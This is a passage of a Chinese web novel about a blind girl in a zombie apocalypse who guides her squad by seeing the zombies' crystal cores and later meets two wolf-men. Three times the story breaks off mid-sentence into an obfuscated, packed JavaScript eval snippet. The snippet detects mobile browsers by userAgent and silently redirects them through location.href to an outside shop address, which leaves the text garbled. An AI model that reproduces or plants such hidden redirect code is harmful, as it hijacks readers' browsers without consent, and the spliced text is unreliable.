“凌翊给我的感觉和那个世界里的其他人不同,他和我的身份一样吗。” 001刚要回答。 “或者这样问——001,你是凌翊吗。” 林呓看它的眼神带着玩味的探寻:“毕竟你消失的时间和凌翊出现的时间重合,我们三人的名字又如此相似,你应该不会就只用巧合来解释吧?” 半空中的圆点维持了很长一段时间的沉默,就在林呓以为它不会回答时,它发出的金色光芒扑面而来将她吞没—— “抱歉林呓,我们本不用做梦。” 10. 末世盲女在线御兽(一) “喂!她是怎么回事?快点把她叫醒啊!” “等等……可能是晕车,别着急。” 男人露出嗤之以鼻的表情:“这种废物还报名预备小队?眼睛还瞎看不见,只会拖后腿,真不知道上头是怎么想的。” 另一个男人神情淡漠,提议道:“给她喂点水。” 卫淼淼从背包里拿出水瓶,小心地给怀里神志不清的女生喂了一口。一些水顺着下巴流到脖子,最后没入胸口,似乎是对凉意有所感知,女生的眼睛动了动。 卫淼淼松了一口气:“你终于醒了林呓!” 被叫做林呓的女生捂着头撑坐起来,打量了一圈面前的人,他们看起来……不,这还能叫用眼睛看吗? 在她的视野里,山坡上站着的人与环境格格不入,浑身被红粉、黄绿和蓝黑色充斥着不同肢体区域,每个人的颜色不尽相同,只显出身体轮廓,看不清脸。 她沉默地低头摸上眼睛。 卫淼淼以为她听见了陶振说她眼瞎,凑近安慰她:“你的眼睛可好看了!况且你能进入预备小队执行任务,就证明你一定是有能力的!” 陶振已经很不耐烦了,掏出气弹.枪蓄能,睥睨地冲她们说:“醒了就赶紧起来,别浪费时间!我们现在出了基地随时可能遭遇丧尸,这座山很大,尽快完成任务回去交差。卫淼淼,你和林呓拿好背包,所有人的食粮都在里面,要是丢了——我不介意吃你们两个的肉。” 卫淼淼心里一阵恶寒,强忍着扶着林呓站起来:“……我们会保管好的。” 严义鸣微微皱眉,握紧手里的枪,对陶振说:“你们注意安全,仔细搜索,我先去前面探路。” 陶振表演了一番变脸,态度友好地指了指胸前的通讯器:“辛苦,小心点,有情况随时联系。” 严义鸣点头的幅度很小,下一瞬间人就消失在原地。 剩余四人也开始进山搜索,陶振举枪打头阵,卫淼淼和林呓走在中间,分别将一个黑色的作战包抱在胸前,在她们身后还有一人。林呓余光看去,那是个女人。 林呓脑仁发痛一片空白,不清楚自己为什么会出现在这里,也不知他们口中的任务是什么,就连名字都是刚刚从卫淼淼口中得知的。 卫淼淼一边警惕四周,一边暗暗诧异林呓居然走山路也没问题,如履平地一般,速度和正常人没两样,甚至能准确规避障碍物。正想着这会不会是她的异能,就察觉到自己的袖子被扯了扯,林呓微弱的声音传进耳朵:“我有些紧张,你和我说说话吧。” “别紧张,我们小队昨天才集结到一起,大家都是第一次执行任务。其他小队还羡慕我们呢,说我们走了狗屎运,只用来封锁区搜索幸存人员,遇见危险的几率很小。”卫淼淼拍拍她的手安抚。 林呓看向前方男人的影子,似乎刚刚被吓得不轻,很快收回了视线,胆怯地说:“可是他说话好可怕,他真的会……” 卫淼淼吞了吞口水,抱紧怀里的包,“别多想,陶振脾气就是这样。他的异能是力量,能把异能覆盖全身短暂作为保护罩,也能汇集局部做精准攻击和防护。”说着她无能为力地叹了口气,“末世两年了,觉醒异能的人虽然在增多,但死伤也很大……在这世道,异能实力就是一切。” 林呓赞同地点头,雾茫茫的浅黄铜色眼睛闪了一下。 卫淼淼第一次有机会和人说这些,话匣子打开就止不住了:“严义鸣的异能和风有关,他速度很快,眼睛也利,侦察能力一流。虞陈姐的异能是金属操控,她有一套专门打造的合金飞刀,威力可恐怖了。加上陶振,他们三个能力出众,上头对他们很看好。” 林呓佯装回头搜索,看清楚了殿后女人的身形。 虞陈身材健硕,身高与陶振差不多,双手各把着一柄弯刀,姿态谨慎。她很敏锐,林呓的视线多停留了一秒,就立即看了过来。 卫淼淼手放低,手心凝结出一团水弹,有些落寞地说:“我的异能是水,但攻击力很弱,就只能在小队里当当后勤。也没什么作战天赋,光是练枪就练习了好久,真不知道觉醒异能究竟是好事还是坏事……” 林呓看着自己蓝绿相间的手掌,猜测起自己的异能。既感受不到力量,对金属也做不到感知和操控,难不成和这双奇怪的眼睛有关?人眼热成像仪? 卫淼淼似乎也好奇了很久,问她:“说起来,你是昨天被教练员亲自领来小队的,以前从没见过你,你之前在哪里训练?你的异能是什么?” 林呓得到一个好消息——他们对她并不了解,她不用担心暴露记忆空白的现状。 可同时她也面临着难题,根据卫淼淼的话判断,她能加入小队一定是觉醒了异能的,可她的能力是什么还不能确定,甚至摸着腰间的枪都没有肌肉记忆,遇见危险很难说有自保能力。 林呓没有回答,卫淼淼也没放心上,觉得她胆子小又怕生,等相处时间长些应该就好了,倒是走在前面的陶振鄙夷地嗤了一声:“卫淼淼你是不是傻,很明显是走后门进来的啊,不然怎么她一个瞎子凭什么加入我们,而且她一来我们就有了这么轻松的差事?” 此时,山脚下停靠的武装车已经完全被茂密的树木遮挡,四人走了这么远既没遇见丧尸也没遇见幸存人员。 上支在基地边缘处理零散丧尸的小队回来后汇报,说在山里发现了人类生活的痕迹,怀疑有人住在山里。陶振觉得胡扯,山里要是真有人,为什么不早点投靠基地?况且外面丧尸横行,普通人就是靶子,绝对免不了被丧尸袭击感染的。 陶振面对严义鸣和虞陈时和颜悦色,一到自己就气焰嚣张,可实力决定地位,卫淼淼心里气恼自己不争气,悻悻然闭上了嘴。 满山的树冠层叠交错,遮蔽了天空,树林里光线昏暗并不开阔。 在这样的环境下,声音被放大无数倍。 一声鸟鸣划破天际,林呓停下脚步,抬头向上望。 虞陈握紧弯刀举在胸前,顺着她的目光往上看——除了树干枝桠,什么都没有。 卫淼淼发现战友没了身影,急忙回头找,就看见她们俩一齐抬头看着天。她举枪踱过去,与林呓背靠背,头上冒了一层汗,心脏快要跳出来:“怎么了?” 走着走着成光杆司令的陶振也发觉不对,立即控制一层异能包裹皮肤,整个人作防护姿态,快步走到虞陈身边:“有情况?你发现什么了!” 虞陈放下手,手里的刀依然握紧,警戒四周:“是她,她好像察觉到了什么。” 陶振霎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464779|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时就松懈下来,嘁了声,毫不掩饰对林呓的轻视:“她个瞎子能发现什么?最多耳朵灵敏一点,别是听见鸟叫就吓破胆了吧。” 虞陈看了他一眼,又看向林呓,她依然抬着头在看,却不知到底在看什么。她重新举刀,决定相信自己的直觉,这片林子从刚刚开始的确变得不对劲了。 “有毛病吧,丧尸还能在天上飞不成?”陶振觉得她们怕到神经紧绷草木皆兵了,“你哑巴了?话也不说,你到底在‘看’什么?” 忽然。 风吹树叶簌簌响。 林呓瞳孔一缩,条件反射般拿枪平举前方:“来了。” 这一声让所有人眼皮一跳,虞陈下意识背过去和她们靠在一起,准备战斗。陶振被她们的动作搞得无语,张口就要喝斥林呓动摇军心,正在这时,胸口的通讯器亮了,严义鸣的声音传来,还夹带着某种嘶吼声! “警戒!有丧尸,粗略估计有二十个,警戒!” “重复,警戒!!” 陶振吊儿郎当的表情冻在脸上,拿枪的手止不住抖起来,惊慌地瞄向四面八方。 靠!谁说这任务简单?谁说他们走狗屎运了! 平时训练都是假把式,第一次出实战就遇到这么多丧尸,根本是死到临头了!哪个傻缺领导下的指令,怎么不提前用无人机扫山啊!!连个教练员也不配,靠!! “上树!” 林呓大喊一声,当机立断将背包背在身后,手脚并用三两下就爬到一棵树上,速度之快让卫淼淼瞠目结舌。 她吓得直哆嗦,在树下干跳:“你你、你是怎么上去的啊!” 林呓摸到背包侧面的绳索,将一端牢牢绑在树干上,另一头扔下去:“捉住,爬上来!” 卫淼淼惊慌失措,四肢不听使唤,整个人抖成筛子。虞陈反应迅速,将绳索绑在她腰上,举着她让她往上爬:“冷静点!我托着你,你快往上爬!” 林呓站在树干上眺望远方,耳朵动了动,“动作快点!时间不多了!” 卫淼淼极力控制双手和大腿,嘴里喃喃鼓励自己:“别别、别怕,还没死还没死呢还没……我去你大爷的!你快点爬啊!再不爬就要被咬变丧尸了!!” 林呓看着半上不下的卫淼淼,立即坐下双腿锁住树干,将绳子在手掌上绕了两圈:“我拉着绳子,你顺着力爬,爬不上来也别挣扎,我直接拽你上来。” 眼看卫淼淼被林呓拽死鱼一般拽上去了,虞陈发动异能控制弯刀,一刀一刀插进树里,腰腹发力一个跟头翻身上了另一棵树。 陶振在听见林呓说上树时就火速挑选了一颗粗壮的大树,用异能覆盖手掌,强大的抓力让他得以快速爬上了树。 脚踩树干的踏实感让陶振回过些神,远处惊起的鸟群吸引了他的注意,很快他看见了头皮发麻的一幕—— 严义鸣在树林里跑出连线的残影,时不时背手朝身后开枪。他后面追着一群丧尸,浑身血污,腐烂的肉里长满蠕动的白色蛆虫,油泥般黏糊的头发扒在脸上,獠牙如兽,眼球暴突,面目狰狞地在嘶吼!有的丧尸头颅和脖子只连着一层皮肉,还伸着利爪甩着头往前狂奔! 如此变态的速度和力量……这根本不是普通丧尸,他们遇到了二阶丧尸! 11. 末世盲女在线御兽(二) 严义鸣的速度很快,身后的丧尸却也毫不逊色穷追猛赶!他的体力消耗太大,而丧尸们却是发疯的永动机,盯上食物就狂暴不止! 所有人都是第一次正面真实的丧尸,恐怖恶心的外表和声音带来的冲击是训练视频的千万倍!什么紧急应案什么沉着冷静,这些纸上谈兵的假把式在这种危急关头通通是狗屁! 如果只是普通丧尸,那么用枪和异能就可以解决,但下面可是一群进化的二阶丧尸,身体里存在晶核!它们的力量和速度惊人,且拥有一定程度的智慧,就连经验老道的小队都不能保证在这群畜生手里活下来。 怎么办……只有死路一条了吗…… “一口气冲过来,直接上树。” 通讯器亮了又灭,陶振反应过来时一阵风劈脸——严义鸣已经飞过来了。 他几乎透支,腿一软差点滑下去,陶振眼疾手快拽住他后衣领,将人拎了上来。 刚刚下指令的声音是林呓? 陶振诧异地看向对面树上的人,只见她面色凝重,动作却沉稳有序,正在翻背包。 嘶吼声在树林里回荡。 生人肉味是丧尸确定方向的唯一线索,严义鸣逃离时带起的风卷散了一部分气味,却并未完全散去。丧尸群呆滞地仰起头颅闻了一圈,在某个方向齐刷刷停下,原本死水一般雾白的眼珠刹那间激凸,准确地朝他们的坐标进攻过来! 林呓在背包里翻出了两包气味阻隔剂,几颗炸.弹,以及备用气弹.枪,剩下的都是水粮。 卫淼淼双手死死抱着树干,嘴唇惨白抖个不停,林呓拍她都没有反应,“完蛋了……我就说觉醒异能不是好事!完蛋了……” 林呓捏住她的脸转向自己,语气冰冷:“清醒点卫淼淼,我们不会死的。现在打开背包,把气味阻隔剂放在顺手的位置,然后把备用枪全部蓄能。” 卫淼淼张着嘴干眨眼,流下了生理性害怕的泪水,林呓察觉到手心的湿润,手一松,放软了神情:“……你别哭,听我的好吗?” “好……” 一个打岔,丧尸群已经靠近了! 腐烂的恶臭味弥漫开来,强势地涌进鼻腔,引得胃部翻涌喉咙泛酸,小队五人面色铁青,纷纷屏住了呼吸。 林呓拆开一包气味阻隔剂,一目十行看完了使用说明,拿出两瓶观望丧尸群的位置。 虽然惊恐,但好歹经过专业训练,众人知道只有拼死一搏了! 陶振和严义鸣双手举枪,瞄准逐渐逼近的丧尸,虞陈的弯刀悬在身边,表面被金色水流一样的异能包裹。 “嗬嗬——!” 来了!丧尸群进入了射程范围! 林呓手指勾开引环,将两瓶阻隔剂扔了下去! 瓶子落地后很快炸开,两团白烟升腾而起,瞬间弥散开来隔绝了气味。丧尸群失去了指引,浑浊的眼球停止转动,喉咙熄火安静下来,呆呆停在原地。 “开枪!” 陶振大喝一声,率先发起攻击。 砰砰砰——! 来自三个方位的气弹撕裂空气,直射丧尸们的脑门! 卫淼淼一手抱住树干,另一只手举枪,一边尖叫一边开枪。可她的手太抖了,压根没有准头,没有一枪爆头。 林呓观察她用枪的步骤,同时注意到对面陶振的低吼:“可恶!这枪虽然威力大,可十枪发完就要蓄能30秒,靠!一秒钟的空白就会要了我们的命!” 趁着蓄能,陶振瞄到卫淼淼的一通乱射,顿时气急大喊:“卫淼淼你是废物吗!瞄头啊!!” 原本就紧张哆嗦,被陶振这么一吼,卫淼淼手腕一抖,最后一枪直接射到一个丧尸的大腿上了。 陶振看得眼皮直抽,破口大骂:“你个猪队友!平时训练白练了吗!老子遇见你真他妈倒八辈子——” 骂声戛然而止,因为那个丧尸猝然倒下了。 陶振眼睛瞪大,心中一喜,却只当是巧合,蓄能完成他又去爆头了。 林呓捕捉到中枪丧尸倒下前什么东西破碎的声音,她定睛看去——丧尸们的身体是死气浓郁的黑色,而某个位置却有五颜六色的晶体形状的东西,被卫淼淼击倒的丧尸大腿处的东西现在四分五裂了。 正思纣着,一记响亮的耳光在面前炸开。 卫淼淼一侧脸庞肿了起来,咬紧嘴唇眼睛通红地狂按蓄能键:“快点!再快点啊!!” 林呓按住她颤抖的手,安慰道:“你刚刚杀死了一只丧尸。” “可远远不够啊!还有那么多……一旦气味阻隔剂失效,用完了它们就会砸树,到时候我们就死定了!”卫淼淼绝望地看着与她们距离不足三十米的丧尸群。 林呓按住她打向自己脸的手,沉声道:“我问你,你们为什么要瞄头射击?” 卫淼淼被她问懵了:“这不是训练的基本内容吗……” “回答我!”林呓加重了语气。 卫淼淼不明所以,却还是说了出来:“普通丧尸被爆头就会死亡,可二阶丧尸变异出了晶核,只有击碎晶核才能杀死它们,作战专家说很大概率就在它们脑袋里。” “晶核长什么样子?什么颜色?” “就像水晶,不规则,闪闪发光,什么颜色的都有……” “嗬嗬……嗬嗬——!!” “不好!”严义鸣高声惊呼,“阻隔剂快失效了,它们被激怒了!” “你们两个在干什么!快扔啊!”陶振大喊。 二阶丧尸与普通丧尸最显著的不同就是拥有智慧,它们虽然察觉不到疼痛,却知道自己正在被攻击威胁,阻隔剂的白烟一消散,它们就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483225|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敏锐地锁定了生人的气息——抬起头猛然超前进攻! 林呓拉开引环,将四瓶阻隔剂扔在不同方位,丧尸群被炸起的白烟围在圈里,顿时又变成了无头苍蝇,气急败坏地在嘶喊。 “继续开枪!”陶振下达指令。 “等等!” “还等什么?!”陶振怒目看向阻拦他们自救的罪魁祸首。 “你自己想死,别拉着我们!” 林呓不和他废话,夺过卫淼淼手里的枪,瞄准那只头和脖子只连着一层皮的丧尸。 由于是第一次开枪,林呓的准头更差,一连五枪都打了空。陶振刚要嘲讽她,被严义鸣按住了:“等等,看她到底要做什么。” 陶振震惊地看着他,视线一扫,发现虞陈和卫淼淼也没有制止的意思。他们全疯了吗?!居然听一个瞎子的话,她难不成还能看见什么别人看不见的东西? 他再也等不下去了,抬手就要狙击,可马上不可思议的画面出现了——林呓歪到没边的气弹终于击中了丧尸的脖子,炸起的腐肉飞出十几米远。那里不是命门,丧尸却像是被抽干了动力一般再无动静。 这只把头颅当摇摇乐玩的丧尸死了! “!!!”众人皆惊讶地看向林呓。 “卫淼淼盯紧了,白烟一散立马扔阻隔剂。”林呓将枪一转,还给卫淼淼。 卫淼淼下意识答道:“是!” “听清楚了,我说打哪个位置就瞄准哪里,直到像这只这样死透。”林呓看向对面两个男人,“你们用枪。”又看向旁边树上的虞陈,“虞陈姐你用刀应该更快一些。” 虞陈解开绑在大腿上的刀袋,摊在树枝上,十二柄飞刀立马咻咻飞起瞬间布满金光悬在她周围。 陶振不可置信地看向众人:“你、你们……” 林呓眼神如刀投去,陶振咽下反驳的话,乖乖点了点头。 “听好了——”林呓用力一闭眼睛,再睁开时有光隐隐流转。 “少胳膊的丧尸,攻击锁骨中间!” “没眼睛的那只瞄准眉心!” “个子最高的打左小腿!” “叫得最难听的打肚子!” “戴帽子的剜心!” …… “长得最丑的那只挖裆!它的晶核很大,得狠狠挖!” “……”严义鸣下意识收紧腿,枪在两只丑得旗鼓相当的丧尸之间摇摆不定。 这……都好丑,哪个丑得更出色? 林呓总览战局,眼见丧尸一只只倒下,晶核最大战力最凶的那只却迟迟无人下手。虞陈的飞刀威力强大,已经将半圈的丧尸钳制住,而那只丑丧尸离陶振和严义鸣更近! 她喊道:“那只丑到惨绝人寰了!就是那只少耳朵的,快掏它裆,它马上要红温暴走了!!” 12. 末世盲女在线御兽(三) …… 浓重的腐臭味弥漫,尸块零零散散躺在地上,土地被染成了可怖的黑红色。 “……我们成功了?”卫淼淼声音嘶哑,眼睛里露出不敢相信的兴奋。 “是的,我们成功了。”林呓仔细看过了,所有晶核都碎了。 话闭,她单手握住绳索,从树上一跃而下,速降到地面。 然而脚一沾地就倒下了。 “林呓!”卫淼淼担心地叫出声,立刻背上包笨拙地往下爬。 “我没事,就是有些脱力了。”林呓虚弱地朝她笑了笑。 听见她没事,卫淼淼最后紧绷的弦也松了,浑身泄气靠着林呓坐了下来。虞陈也下了树,将沾了丧尸腐血烂肉的刀扔在地上,和她们坐在一起。 耳边狂热而鼓噪的心跳渐渐平缓。 刚才发生的一切如此突然、不真实,然而眼睛看见的、鼻子闻到的、肾上腺素飙升带来的身体反应,都在昭告他们的确杀死了一群二阶变异丧尸,这已经是过去式的事实了。 扑通! 一身巨响又将几人的弦拎起来,只见面前的地面多了一个大坑,坑里传来一声哀嚎——陶振捂着后脑勺颤颤巍巍地从坑里站了起来。 “?”三个女生毫不关心,重新靠回树干。 严义鸣闪身下树,将他拉出来:“你怎么摔下来了?” 陶振摔得眼冒金星,刚出坑就又栽了个狗啃泥:“我……我也不知道,突然就没意识了……” 严义鸣没再管他,靠在树下休息。 林呓向卫淼淼要来自己喝过的水瓶,一口气喝了大半瓶水,感觉突突跳的太阳穴逐渐安稳下来。 卫淼淼舔舔干涸的嘴唇,将包里的水粮分给每个人,然后才回来猛灌了一口水。 陶振接水时瞥见卫淼淼包里的炸弹,顿时激动起来:“有炸弹怎么不早用?!害我们累死了!” 没人理会他的质问,半晌一向沉默寡言的虞陈出声道:“晶核需要集中于一点的攻击才会被击碎,炸弹的爆破范围大却不是对付二阶丧尸的首选,何况万一树林着火了丧尸也没消灭,我们会死得更快。” 卫淼淼和林呓对视一眼——虞陈姐竟然一口气说了这么多个字! 陶振难以反驳,却还是嘴硬:“好歹火力压制一下……” 他揉着脑袋,脸色不太好看,心想一定是刚刚摔狠了,头脑都迷糊了。 下面的空气实在算不得清新,腐烂的恶臭和血腥味被风吹得一阵阵扑面,可几人都顾不得那么多,只想好好享受脚踩大地带来的安全感,尽快恢复体力。 树林里时不时响起粗哑难听的鸟叫,林呓睁眼时天色已经暗了下来。 众人的状态比刚才好了很多,不再脸色青白了。 卫淼淼看着不远处的血肉狼藉,忍着反胃说:“我们还找幸存人员吗,或许……山里还有丧尸。” 陶振是被临时委任的队长,他立即作出决定:“撤。回去汇报这里的情况,再让上头派直升机来侦察。卫淼淼,你先把晶核捡起来,带回去好交差。” 卫淼淼站起来,犹豫地往丧尸群的方向走了两步,回头向虞陈求助:“虞陈姐,有些晶核还嵌在丧尸身体里,你能用刀剖出来吗?” 虞陈点头,脚边的一柄飞刀立即飞了出去,刀刀利落精准,最后一刀挖在那只丑丧尸的裆部,只听“铮——”的一声,小腹下面画圈的位置就和身体分离了。 严义鸣和陶振同时感到某处一疼,移开了目光。 “谢谢虞陈姐。”卫淼淼咽了口唾沫,拔出别在后腰带里的小刀,抱着隔离盒慢慢往那边挪步子。 林呓手向后腰摸,却什么也没摸到,她眸光微闪,从包里拿出两张纱布朝卫淼淼走了过去:“用这个包住鼻子。” 卫淼淼感激地回头,纱布被塞进怀里,下一秒右手一空——林呓把她的刀拿走了。 在她惊讶的注视下,林呓闲庭信步地走进尸圈,用小刀把晶核和腐肉剥离出来,那熟练的架势就像用树枝拨蚂蚁玩一样。 卫淼淼还沉浸在震惊里,林呓已经全部剥完了,将小刀上的血迹随手抹在树皮上,她耍了个刀花将刀把递给卫淼淼:“你去收集吧,我在这里陪你。” “……好。”卫淼淼收起刀,走出去两步又回来,分出一片纱布给她,“你也捂着点鼻子,这味道太难闻了,虽然用处不大,但好歹过滤点细菌。” 林呓接过:“嗯。” 两人带着装得满满当当的隔离盒回来,三个主战力已经整顿好了。 陶振看见她们拿纱布捂鼻子,生气地说:“纱布这么宝贵的资源是让你们用来浪费的吗!万一之后有人受伤了怎么办?” 卫淼淼知道林呓是为了照顾她才拿的纱布,抿了抿唇就要道歉:“对不——” “放心,剩下的纱布全给你留着。”林呓目不斜视,拉着卫淼淼回到虞陈身边。 “你!”陶振咬牙瞪着林呓,她是什么意思,是诅咒只有他会受伤吗? 虞陈迈开一步,挡在两人身前:“天黑了,下山容易迷路,我们不如在这里休整一晚。” 严义鸣也站起来,指着前方:“之前探路发现了一块平地,旁边还有小溪,我们就去那里吧。” 小溪潺潺,映着银色的月光灵动地奔向山下。 溪边地势开阔,在圆月的照射下视线也比较明朗。五人卸下行李,用手舀水清洗手和脸,冰凉凉的水洗干净了脏污也洗去了疲惫,几人脸上都露出舒服的表情。 虞陈见大家都在用水,沉默地走到一旁,将刀取出,准备一会儿再清洗。 卫淼淼听见咣啷的动静,回头一看,虞陈正拿草擦刀上的血。 “我来帮你吧。”虞陈抬眼,看见卫淼淼站在面前,她下意识想说不用麻烦,可卫淼淼神情期盼,让人不忍心拒绝,便说:“麻烦你了。” 卫淼淼高兴地在虞陈身边蹲下,摊手唤出一团水弹,将地上的一柄刀裹入其中,刀身立马开始翻滚,仿佛被丢进了滚筒洗衣机里,附着在刀面上的血迹、藏在刀把里的脏污全被甩了出来。 哗啦——暗红的脏水失去控制流进了土里,卫淼淼又用新的水团重新翻洗,如此重复两遍后,这柄刀如同新造一般泛着光泽。 虞陈拿着刀爱不释手地看了许久,感谢地看向卫淼淼:“多谢,比我自己清理得干净多了。我以为你的异能只是能变出水供我们使用,没想到还能这样。” 卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518989|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淼淼苦笑一声,低下头:“我知道自己实力不行,比不上你们……我的异能最开始只能变出一小杯水,后面通过练习能变得越来越多,除了喝水还能洗衣服、洗澡,在安置区以外,许多普通人连水都喝不上,他们都指望我,后来我有异能的事被上面发现了……” 虞陈有些不知所措,生疏地伸出手拍拍她的肩:“你别误会,我没有看轻你的意思,我觉得你很厉害。” 卫淼淼露出笑脸,摇了摇头。 陶振洗好脸,将自己和严义鸣的水瓶丢在卫淼淼旁边:“喂,把水瓶装满。” 卫淼淼对他高高在上的态度感到不适,但还是忍气捡起来:“知道了。” 林呓看了看手里的水瓶,向她们走去:“虞陈姐,你腰带后面的小刀能借我一下吗。” 虞陈拔下刀给她。 陶振睨她一眼:“每个人的作战装备都是齐全的,怎么,你的小刀掉了吗?回去可是要上报的。” 林呓没有理会,盘腿坐下,刀尖对准瓶身——五个水瓶都长一个样,她要在自己喝过的瓶子上刻字。 “矫情。”看出她的意图,陶振嘲讽一嘴,走开了。 卫淼淼很快用异能填满了陶振拿来的两个水瓶,见林呓似乎在用小刀做标记,思考着要不要给大家的水瓶做个区分。 虽然教练员说队员之间并肩作战不分彼此,但在条件允许的情况下,注意点卫生也无可厚非吧? “你在刻自己的名字吗?”卫淼淼凑过去看林呓的水瓶,却发现她还什么都没刻,瓶身上只有刀尖抵出来的一个点。 名字…… 林呓不知道自己的名字是哪两个字,连Ling还是Lin都有点不确定。 想了想,她刻下最有把握的两个字母——“Yi”。 卫淼淼问了圈他们的意见,得到允许后在其余水瓶上分别刻下了代表每个人的记号。 “喂——” 正在擦刀的虞陈寻声看去。 “没事,你忙。”陶振对她露出友善的笑容,转而看向卫淼淼和林呓,“你们去捡些柴火来,不够烧了。” 他面前那团跳跃的红色正气焰嚣张,树枝里水蒸气的蒸发和木质纤维断裂发出的噼啪声像烟火绽放的声音——林呓抬头看了眼墨蓝色的夜幕,不合时宜地想,末世里应该再也看不见烟火在天空下绽放了吧。 卫淼淼朝虞陈抱歉地说:“虞陈姐,那我等会儿再帮你洗。” 说着,她就站了起来,林呓按住她:“你继续,我一个人去就行了。” “那怎么行,天黑了很危险。”卫淼淼不赞成她孤身一人行动。 “没事,我带枪。”林呓表现出些微的强势,“正好,我也想自己走走。” 卫淼淼抿唇,担心又为难地看向虞陈,虞陈对她摇了摇头。 林呓走后,卫淼淼很快就将虞陈的飞刀全部用异能清洗完毕。 两个男人在火堆旁阖上眼休息,两个女生坐下不远处的树下,守着两个背包。 倏地一声狼嚎惊动了所有人。 陶振被吵醒了,不耐烦地翻身继续睡觉,严义鸣看着面前跳动的火舌神色莫辨,卫淼淼和虞陈看向彼此,心里不由为林呓一紧。 13. 末世盲女在线御兽(四) 皎洁的月光,粼粼的溪流,幽森的树林……林呓不适应地眯起眼,感到荒诞极了。 最荒诞的,莫过于眼前的画面——两个男人浑身赤裸,以狼的姿态趴伏于地,其中一个在蹭另一个的脖子,舔舐他手臂的伤口。 异能? 人兽同体? ……总不能是cosplay吧。 林呓想,也许她之前不是个瞎子,而是个见识短浅的傻子,傻到和这个世界脱轨了。 他们相融以沫的感人场景没感动到林呓,反而让她起了一身鸡皮疙瘩,她移开眼,又听见那个声音: “弟弟,都怪我害你受伤了……” 林呓和他们保持安全距离,背过身给他们空间独处,也给自己时间冷静思考。 她不能一走了之,在封锁区出现两只狼……人,反正是两个活的生物,可能和任务中的幸存人员有关联。 更重要的是,她突然恢复正常,是异能失效了,还是之前的怪像是由于某种药物,而现在药效过了? 她仔细回想变化前后发生了什么—— 月亮照到了她的脸,和狼搏斗时被抓伤,狼突然跑走舔爪子,爪子上有…… 林呓猛然看向流血的手臂,是鲜血! 回过头,那个男人像动物垂爪子一样垂着手,手掌湿漉漉的,手指上的血几乎被舔干净了,只有指甲缝里还有残留的红色。 指甲缝,这么微小的细节…… 林呓心中一震,像是求证般陡然看向幽暗的树林,果不其然,视野开阔犹如白昼,任何风吹草动都逃不过她的眼睛! ——就如狼一般。 因为他舔了她的血,所以眼睛变得和他一样了? 可狼不是色盲吗,为什么她能准确辨别颜色,他到底是狼,还是人。 林呓的视线过于灼热,舔手的男人一无所觉,反而是受伤的男人察觉到了什么,撑起身寻找来源。 视线交汇的刹那,两人同时一惊,心脏和大脑过电般颤了一下,像是什么得到了共鸣。 林呓下意识抚上心口,抑制住那股悸动。 她看清了他的脸,两个男人长相神似,像双胞胎,二十岁左右的年纪。 “啊弟弟,你终于醒了!”哥哥又开心又激动,兴奋地盯着弟弟,“你没事真是太好了!你都不知道,有个坏姑娘要打你,她还、还摸我肚子了……” “坏姑娘”沉默。 被叫做弟弟的男人顺着他的视线往下,看见了—— 他飞速撇过头,把哥哥捞过来挡住,林呓看见他耳朵尖唰一下红了。 他背对着她,仰头看天,歪了歪头,似是很困惑。 男人光洁的后背挺阔,腰腹劲瘦,急促的呼吸牵引着肌肉跳动。 林呓侧过身,抱住受伤的手臂,用枪晃了晃:“你们有没有衣服?” 弟弟的声音比哥哥要低沉许多:“哥,让你背着的东西在哪。” 哥哥发出呜呜的声音,想了想:“跑丢在后面林子里了。” 弟弟呼吸重了一下,好像是想要站起来却扯到了伤口。 哥哥按住他,明白了他的意思,一溜烟往后跑远了。 林呓握着枪,余光警惕地注意着地上光裸的男人,他从始至终低着头,不知在想什么。 没过多久,哥哥叼着一个黑色包裹回来,弟弟从他嘴里拿下来,打开,拿起一件衣服替他穿上,边说:“哥,在你可以站立的时候,记得用手,不要用嘴。” 衣服罩在头上,哥哥的声音显得有些闷,透着违和年龄的天真:“好吧,可是大饼还圆圆的,为什么我们就光溜溜了呢?” 弟弟没有回答,帮他穿好衣服,接着给自己穿。 他们穿好衣服后,林呓转身面对他们,一时间不知怎么开口。 反倒是哥哥挡在弟弟了面前,凶狠地盯着她,磨牙切齿:“坏姑娘!” 林呓:“……” 弟弟安抚地拍拍他的背,将他拉到身后,目光沉沉地与林呓对视。 林呓暗暗握紧枪,汗毛倒竖,莫名生出一股被野兽盯上的心慌,蔓延至全身。 她深呼吸,简明扼要地表明自己的身份和来意,心里做好了不被信任的准备,却听见弟弟冷漠地说:“好,我们跟你走。” 这让林呓有些意外,但没多说什么。 她谨慎地让两兄弟走在前面,她拿着枪拎着柴在后面指路。 哥哥对林呓抱有敌意,不明白为什么跟她走,但他表现得很依赖弟弟,听弟弟的话乖乖走,不吵不闹,一路上搀扶着弟弟。 